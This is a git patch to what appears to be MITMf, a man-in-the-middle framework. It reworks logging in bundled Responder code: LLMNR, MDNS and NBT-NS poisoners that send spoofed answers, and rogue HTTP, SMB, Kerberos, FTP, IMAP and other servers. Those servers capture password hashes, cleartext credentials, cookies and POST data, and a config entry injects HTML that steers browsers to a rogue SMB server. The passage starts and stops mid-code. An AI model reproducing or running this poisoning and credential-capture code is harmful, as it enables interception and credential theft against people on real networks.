ScreenShotter(Inject, Plugin): def initialize(self, options): Inject.initialize(self, options) - self.js_payload = self.get_payload() self.interval = options.interval + self.js_payload = self.get_payload() def request(self, request): if 'saveshot' in request.uri: From fa59ca466b36b4580dca840b729828206fda743d Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 3 Aug 2015 05:34:46 +0200 Subject: [PATCH 238/323] third pass: - All servers back online - modified logging --- config/mitmf.conf | 5 + core/poisoners/LLMNR.py | 37 ++--- core/poisoners/MDNS.py | 41 ++--- core/poisoners/NBTNS.py | 30 ++-- core/responder/fingerprint.py | 2 +- core/responder/settings.py | 35 ++--- core/responder/utils.py | 141 ++--------------- core/servers/Browser.py | 10 +- core/servers/FTP.py | 37 ++++- core/servers/HTTP.py | 32 ++-- core/servers/IMAP.py | 39 ++++- core/servers/Kerberos.py | 277 ++++++++++++++++++++-------------- core/servers/LDAP.py | 44 +++++- core/servers/MSSQL.py | 41 ++++- core/servers/POP3.py | 40 ++++- core/servers/SMB.py | 57 +++---- core/servers/SMTP.py | 40 ++++- plugins/htadriveby.py | 3 +- plugins/responder.py | 41 ++++- 19 files changed, 545 insertions(+), 407 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index 9ea8033..d6d58fe 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -158,6 +158,11 @@ #Custom WPAD Script WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}' + + #HTML answer to inject in HTTP responses (before tag). + #Set to an empty string to disable. + #In this example, we redirect make users' browsers issue a request to our rogue SMB server. + HTMLToInject = Loading [[HTTPS Server]] diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py index 50f0754..e8f7733 100644 --- a/core/poisoners/LLMNR.py +++ b/core/poisoners/LLMNR.py @@ -26,17 +26,15 @@ from core.responder.odict import OrderedDict from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.utils import * -class LLMNR: - - def start(self): - try: - server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer) - t = threading.Thread(name='LLMNR', target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - print "Error starting LLMNR server on port 5355" - print_exc() +def start(): + try: + server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer) + t = threading.Thread(name='LLMNR', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting LLMNR server on port 5355" + print_exc() class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): @@ -80,9 +78,9 @@ def IsICMPRedirectPlausible(IP): dnsip.extend(ip[1:]) for x in dnsip: if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: - print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) - print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) - print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] You can ICMP Redirect on this network.") + settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x)) + settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.") else: pass @@ -109,18 +107,15 @@ class LLMNRServer(BaseRequestHandler): # Analyze Mode if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: LLMNR]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + settings.Config.AnalyzeLogger.warning("[Analyze mode: LLMNR]{} Request by {} for {}, ignoring".format(self.client_address[0], Name)) # Poisoning Mode else: Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer.calculate() soc.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [LLMNR]" - - print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + settings.Config.PoisonersLogger.warning("[LLMNR] Poisoned answer sent to {} for name {}".format(self.client_address[0], Name)) if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + settings.Config.ResponderLogger.info("[FINGER] OS Version: {}".format(Finger[0])) + settings.Config.ResponderLogger.info("[FINGER] Client Version: {}".format(Finger[1])) diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py index a81ef6e..19f1fc9 100644 --- a/core/poisoners/MDNS.py +++ b/core/poisoners/MDNS.py @@ -24,17 +24,15 @@ from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.packets import MDNS_Ans from core.responder.utils import * -class MDNS: - - def start(self): - try: - server = ThreadingUDPMDNSServer(('', 5353), MDNSServer) - t = threading.Thread(name='MDNS', target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - print "Error starting MDNS server on port 5353" - print_exc() +def start(): + try: + server = ThreadingUDPMDNSServer(('', 5353), MDNSServer) + t = threading.Thread(name='MDNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting MDNS server on port 5353" + print_exc() class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): @@ -56,12 +54,15 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): UDPServer.server_bind(self) def Parse_MDNS_Name(data): - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ + try: + data = data[12:] + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ + except IndexError: + return None def Poisoned_MDNS_Name(data): data = data[12:] @@ -79,14 +80,14 @@ class MDNSServer(BaseRequestHandler): Request_Name = Parse_MDNS_Name(data) # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Request_Name) is not True: + if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): return None try: # Analyze Mode if settings.Config.AnalyzeMode: if Parse_IPV6_Addr(data): - print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) + settings.Config.AnalyzeLogger.warning('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (self.client_address[0], Request_Name)) # Poisoning Mode else: @@ -97,7 +98,7 @@ class MDNSServer(BaseRequestHandler): Buffer.calculate() soc.sendto(str(Buffer), (MADDR, MPORT)) - print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) + settings.Config.PoisonersLogger.warning('[MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name)) except Exception: raise \ No newline at end of file diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py index 652ca42..c7cc350 100644 --- a/core/poisoners/NBTNS.py +++ b/core/poisoners/NBTNS.py @@ -24,17 +24,15 @@ from core.responder.packets import NBT_Ans from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.utils import * -class NBTNS: - - def start(self): - try: - server = ThreadingUDPServer(('', 137), NBTNSServer) - t = threading.Thread(name='NBTNS', target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - print "Error starting NBTNS server on port 137" - print_exec() +def start(): + try: + server = ThreadingUDPServer(('', 137), NBTNSServer) + t = threading.Thread(name='NBTNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting NBTNS server on port 137" + print_exec() class ThreadingUDPServer(ThreadingMixIn, UDPServer): @@ -88,18 +86,16 @@ class NBTNSServer(BaseRequestHandler): # Analyze Mode if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: NBT-NS]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + settings.Config.AnalyzeLogger.warning("[Analyze mode: NBT-NS] Request by %s for %s, ignoring" % (self.client_address[0], Name)) # Poisoning Mode else: Buffer = NBT_Ans() Buffer.calculate(data) socket.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [NBT-NS]" - print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) + settings.Config.PoisonersLogger.warning("[NBT-NS] Poisoned answer sent to %s for name %s (service: %s)" % (self.client_address[0], Name, NBT_NS_Role(data[43:46]))) if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + settings.Config.ResponderLogger.info("[FINGER] OS Version : %s" % Finger[0]) + settings.Config.ResponderLogger.info("[FINGER] Client Version : %s" % Finger[1]) diff --git a/core/responder/fingerprint.py b/core/responder/fingerprint.py index 24432a5..fb6add0 100644 --- a/core/responder/fingerprint.py +++ b/core/responder/fingerprint.py @@ -64,5 +64,5 @@ def RunSmbFinger(host): if data[8:10] == "\x73\x16": return OsNameClientVersion(data) except: - print color("[!] ", 1, 1) +" Fingerprint failed" + settings.Config.AnalyzeLogger.warning("Fingerprint failed for host: {}".format(host)) return None diff --git a/core/responder/settings.py b/core/responder/settings.py index 2d9b51a..4010176 100644 --- a/core/responder/settings.py +++ b/core/responder/settings.py @@ -19,6 +19,8 @@ import sys import socket import utils import logging + +from core.logger import logger from core.configwatcher import ConfigWatcher __version__ = 'Responder 2.2' @@ -114,15 +116,16 @@ class Settings(ConfigWatcher): self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always']) self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html']) self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename'] + self.HtmlToInject = self.config['Responder']['HTTP Server']['HTMLToInject'] self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename'] self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName'] self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript'] if not os.path.exists(self.Html_Filename): - print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) + print "Warning: %s: file not found" % self.Html_Filename if not os.path.exists(self.Exe_Filename): - print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) + print "Warning: %s: file not found" % self.Exe_Filename # SSL Options self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey'] @@ -146,8 +149,9 @@ class Settings(ConfigWatcher): self.AnalyzeMode = options.analyze #self.Upstream_Proxy = options.Upstream_Proxy - self.Verbose = True - self.CommandLine = str(sys.argv) + self.Verbose = False + if options.log_level == 'debug': + self.Verbose = True self.Bind_To = utils.FindLocalIP(self.Interface) @@ -158,7 +162,7 @@ class Settings(ConfigWatcher): self.NumChal = self.config['Responder']['Challenge'] if len(self.NumChal) is not 16: - print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) + print "The challenge must be exactly 16 chars long.\nExample: 1122334455667788" sys.exit(-1) self.Challenge = "" @@ -166,23 +170,12 @@ class Settings(ConfigWatcher): self.Challenge += self.NumChal[i:i+2].decode("hex") # Set up logging - logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S') - logging.warning('Responder Started: {}'.format(self.CommandLine)) + formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.ResponderLogger = logger().setup_logger("Responder", formatter, self.SessionLogFile) + #logging.warning('Responder Started: {}'.format(self.CommandLine)) #logging.warning('Responder Config: {}'.format(self)) - Formatter = logging.Formatter('%(asctime)s - %(message)s') - PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') - ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a') - PLog_Handler.setLevel(logging.INFO) - ALog_Handler.setLevel(logging.INFO) - PLog_Handler.setFormatter(Formatter) - ALog_Handler.setFormatter(Formatter) + self.PoisonersLogger = logger().setup_logger("Poison log", formatter, self.PoisonersLogFile) + self.AnalyzeLogger = logger().setup_logger("Analyze Log", formatter, self.AnalyzeLogFile) - self.PoisonersLogger = logging.getLogger('Poisoners Log') - self.PoisonersLogger.addHandler(PLog_Handler) - - self.AnalyzeLogger = logging.getLogger('Analyze Log') - self.AnalyzeLogger.addHandler(ALog_Handler) - -global Config Config = Settings() \ No newline at end of file diff --git a/core/responder/utils.py b/core/responder/utils.py index 1da7508..78ed44a 100644 --- a/core/responder/utils.py +++ b/core/responder/utils.py @@ -21,34 +21,7 @@ import logging import socket import time import settings - -try: - import sqlite3 -except: - print "[!] Please install python-sqlite3 extension." - sys.exit(0) - -def color(txt, code = 1, modifier = 0): - - if txt.startswith('[*]'): - settings.Config.PoisonersLogger.warning(txt) - - elif 'Analyze' in txt: - settings.Config.AnalyzeLogger.warning(txt) - - # No colors for windows... - if os.name == 'nt': - return txt - - return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) - -def text(txt): - logging.info(txt) - - if os.name == 'nt': - return txt - - return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) +import sqlite3 def RespondToThisIP(ClientIp): @@ -102,13 +75,12 @@ def FindLocalIP(Iface): return ret except socket.error: - print color("[!] Error: %s: Interface not found" % Iface, 1) sys.exit(-1) # Function used to write captured hashs to a file. def WriteData(outfile, data, user): - logging.info("[*] Captured Hash: %s" % data) + settings.Config.ResponderLogger.info("[*] Captured Hash: %s" % data) if os.path.isfile(outfile) == False: with open(outfile,"w") as outf: @@ -176,23 +148,22 @@ def SaveToDb(result): if count == 0 or settings.Config.Verbose: if len(result['client']): - print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) + settings.Config.ResponderLogger.info("[%s] %s Client : %s" % (result['module'], result['type'], result['client'])) if len(result['hostname']): - print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) + settings.Config.ResponderLogger.info("[%s] %s Hostname : %s" % (result['module'], result['type'], result['hostname'])) if len(result['user']): - print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) - - # Bu order of priority, print cleartext, fullhash, or hash - if len(result['cleartext']): - print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) - elif len(result['fullhash']): - print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) - elif len(result['hash']): - print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) - - else: - print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user'] + settings.Config.ResponderLogger.info("[%s] %s Username : %s" % (result['module'], result['type'], result['user'])) + # By order of priority, print cleartext, fullhash, or hash + if len(result['cleartext']): + settings.Config.ResponderLogger.info("[%s] %s Password : %s" % (result['module'], result['type'], result['cleartext'])) + elif len(result['fullhash']): + settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['fullhash'])) + elif len(result['hash']): + settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['hash'])) + + else: + settings.Config.PoisonersLogger.warning('Skipping previously captured hash for %s' % result['user']) def Parse_IPV6_Addr(data): @@ -238,88 +209,6 @@ def NBT_NS_Role(data): return Role[data] if data in Role else "Service not known" -def banner(): - - banner = "\n".join([ - ' __', - ' .----.-----.-----.-----.-----.-----.--| |.-----.----.', - ' | _| -__|__ --| _ | _ | | _ || -__| _|', - ' |__| |_____|_____| __|_____|__|__|_____||_____|__|', - ' |__|' - ]) - - print banner - print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ - print "" - print " Original work by Laurent Gaffie (lgaffie@trustwave.com)" - print " To kill this script hit CRTL-C" - print "" - -def StartupMessage(): - enabled = color('[ON]', 2, 1) - disabled = color('[OFF]', 1, 1) - - print "" - print color("[+] ", 2, 1) + "Poisoners:" - print ' %-27s' % "LLMNR" + enabled - print ' %-27s' % "NBT-NS" + enabled - print ' %-27s' % "DNS/MDNS" + enabled - print "" - - print color("[+] ", 2, 1) + "Servers:" - print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) - print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) - print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) - print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) - print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) - print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) - print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) - print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) - print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) - print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) - print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) - print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) - print "" - - print color("[+] ", 2, 1) + "HTTP Options:" - print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) - print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) - print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) - print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) - #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script - print "" - - print color("[+] ", 2, 1) + "Poisoning Options:" - print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) - print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) - print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) - print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) - print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) - print "" - - print color("[+] ", 2, 1) + "Generic Options:" - print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) - print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) - print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) - - if settings.Config.Upstream_Proxy: - print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) - - if len(settings.Config.RespondTo): - print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) - - if len(settings.Config.RespondToName): - print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) - - if len(settings.Config.DontRespondTo): - print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) - - if len(settings.Config.DontRespondToName): - print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) - - print "" - print "" - # Useful for debugging def hexdump(src, l=0x16): res = [] diff --git a/core/servers/Browser.py b/core/servers/Browser.py index a6aad30..c9840b6 100644 --- a/core/servers/Browser.py +++ b/core/servers/Browser.py @@ -87,15 +87,15 @@ def ParsePacket(Payload): def RAPThisDomain(Client,Domain): PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80") if PDC is not None: - print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC)) + settings.Config.ResponderLogger.info("[LANMAN] Detected Domains: %s" % ', '.join(PDC)) SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00") if SQL is not None: - print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))) + settings.Config.ResponderLogger.info("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))) WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff") if WKST is not None: - print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))) + settings.Config.ResponderLogger.info("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))) def RapFinger(Host, Domain, Type): try: @@ -169,7 +169,7 @@ def BecomeBackup(data,Client): Role = NBT_NS_Role(data[45:48]) if settings.Config.AnalyzeMode: - print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)) + settings.Config.AnalyzeLogger.warning("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)) print RAPThisDomain(Client, Domain) except: @@ -184,7 +184,7 @@ def ParseDatagramNBTNames(data,Client): if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: - print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)) + settings.Config.AnalyzeLogger.warning('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)) print RAPThisDomain(Client, Domain) except: pass diff --git a/core/servers/FTP.py b/core/servers/FTP.py index 9e0d592..845e3fd 100644 --- a/core/servers/FTP.py +++ b/core/servers/FTP.py @@ -15,12 +15,41 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os +import threading -from core.utils import * -from SocketServer import BaseRequestHandler -from core.packets import FTPPacket +from core.responder.utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import FTPPacket -class FTP(BaseRequestHandler): +class FTP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 21), FTP1) + else: + server = ThreadingTCPServer(('', 21), FTP1) + + t = threading.Thread(name='SMB', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting SMB server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) + +class FTP1(BaseRequestHandler): def handle(self): try: self.request.send(str(FTPPacket())) diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py index ade76cf..1765f6b 100644 --- a/core/servers/HTTP.py +++ b/core/servers/HTTP.py @@ -24,10 +24,14 @@ from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, T from base64 import b64decode, b64encode from core.responder.utils import * +from core.logger import logger from core.responder.packets import NTLM_Challenge from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile +formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("HTTP", formatter) + class HTTP: def start(self): @@ -113,7 +117,7 @@ def GrabCookie(data, host): if Cookie: Cookie = Cookie.group(0).replace('Cookie: ', '') if len(Cookie) > 1 and settings.Config.Verbose: - print text("[HTTP] Cookie : %s " % Cookie) + log.info("[HTTP] Cookie : {}".format(Cookie)) return Cookie else: return False @@ -124,7 +128,7 @@ def GrabHost(data, host): if Host: Host = Host.group(0).replace('Host: ', '') if settings.Config.Verbose: - print text("[HTTP] Host : %s " % color(Host, 3)) + log.info("[HTTP] Host : {}".format(Host, 3)) return Host else: return False @@ -152,7 +156,7 @@ def RespondWithFile(client, filename, dlname=None): Buffer = ServeHtmlFile(Payload = ServeFile(filename)) Buffer.calculate() - print text("[HTTP] Sending file %s to %s" % (filename, client)) + log.info("[HTTP] Sending file {} to {}".format(filename, client)) return str(Buffer) @@ -161,13 +165,13 @@ def GrabURL(data, host): POST = re.findall('(?<=POST )[^HTTP]*', data) POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) - if GET and settings.Config.Verbose: - print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) + if GET: + log.info("[HTTP] GET request from: {} URL: {}".format(host, ''.join(GET))) - if POST and settings.Config.Verbose: - print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) + if POST: + log.info("[HTTP] POST request from: {} URL: {}".format(host, ''.join(POST))) if len(''.join(POSTDATA)) > 2: - print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) + log.info("[HTTP] POST Data: {}".format(''.join(POSTDATA).strip())) # Handle HTTP packet sequence. def PacketSequence(data, client): @@ -205,7 +209,7 @@ def PacketSequence(data, client): ParseHTTPHash(NTLM_Auth, client) if settings.Config.Force_WPAD_Auth and WPAD_Custom: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + log.info("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: @@ -230,7 +234,7 @@ def PacketSequence(data, client): if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Verbose: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + log.info("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: @@ -242,12 +246,12 @@ def PacketSequence(data, client): if settings.Config.Basic == True: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: - print text("[HTTP] Sending BASIC authentication request to %s" % client) + log.info("[HTTP] Sending BASIC authentication request to %s" % client) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: - print text("[HTTP] Sending NTLM authentication request to %s" % client) + log.info("[HTTP] Sending NTLM authentication request to %s" % client) return str(Response) @@ -265,7 +269,7 @@ class HTTP1(BaseRequestHandler): if Buffer and settings.Config.Force_WPAD_Auth == False: self.request.send(Buffer) if settings.Config.Verbose: - print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + log.info("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) @@ -290,7 +294,7 @@ class HTTPS(StreamRequestHandler): if Buffer and settings.Config.Force_WPAD_Auth == False: self.exchange.send(Buffer) if settings.Config.Verbose: - print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) + log.info("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) diff --git a/core/servers/IMAP.py b/core/servers/IMAP.py index c0ae12b..ac2d762 100644 --- a/core/servers/IMAP.py +++ b/core/servers/IMAP.py @@ -15,14 +15,43 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os -import settings +import core.responder.settings as settings +import threading -from utils import * -from SocketServer import BaseRequestHandler -from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd +from core.responder.utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd + +class IMAP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 143), IMAP4) + else: + server = ThreadingTCPServer(('', 143), IMAP4) + + t = threading.Thread(name='IMAP', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting IMAP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # IMAP4 Server class -class IMAP(BaseRequestHandler): +class IMAP4(BaseRequestHandler): def handle(self): try: diff --git a/core/servers/Kerberos.py b/core/servers/Kerberos.py index b3ac4bf..1ff545e 100644 --- a/core/servers/Kerberos.py +++ b/core/servers/Kerberos.py @@ -16,144 +16,189 @@ # along with this program. If not, see . import os import struct -import settings +import core.responder.settings as settings +import threading +from traceback import print_exc -from SocketServer import BaseRequestHandler -from utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer, UDPServer +from core.responder.utils import * + +class Kerberos: + + def start(self): + try: + if OsInterfaceIsSupported(): + server1 = ThreadingTCPServer((settings.Config.Bind_To, 88), KerbTCP) + server2 = ThreadingUDPServer((settings.Config.Bind_To, 88), KerbUDP) + else: + server1 = ThreadingTCPServer(('', 88), KerbTCP) + server2 = ThreadingUDPServer(('', 88), KerbUDP) + + for server in [server1, server2]: + t = threading.Thread(name='Kerberos', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting Kerberos server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) + +class ThreadingUDPServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) def ParseMSKerbv5TCP(Data): - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] + 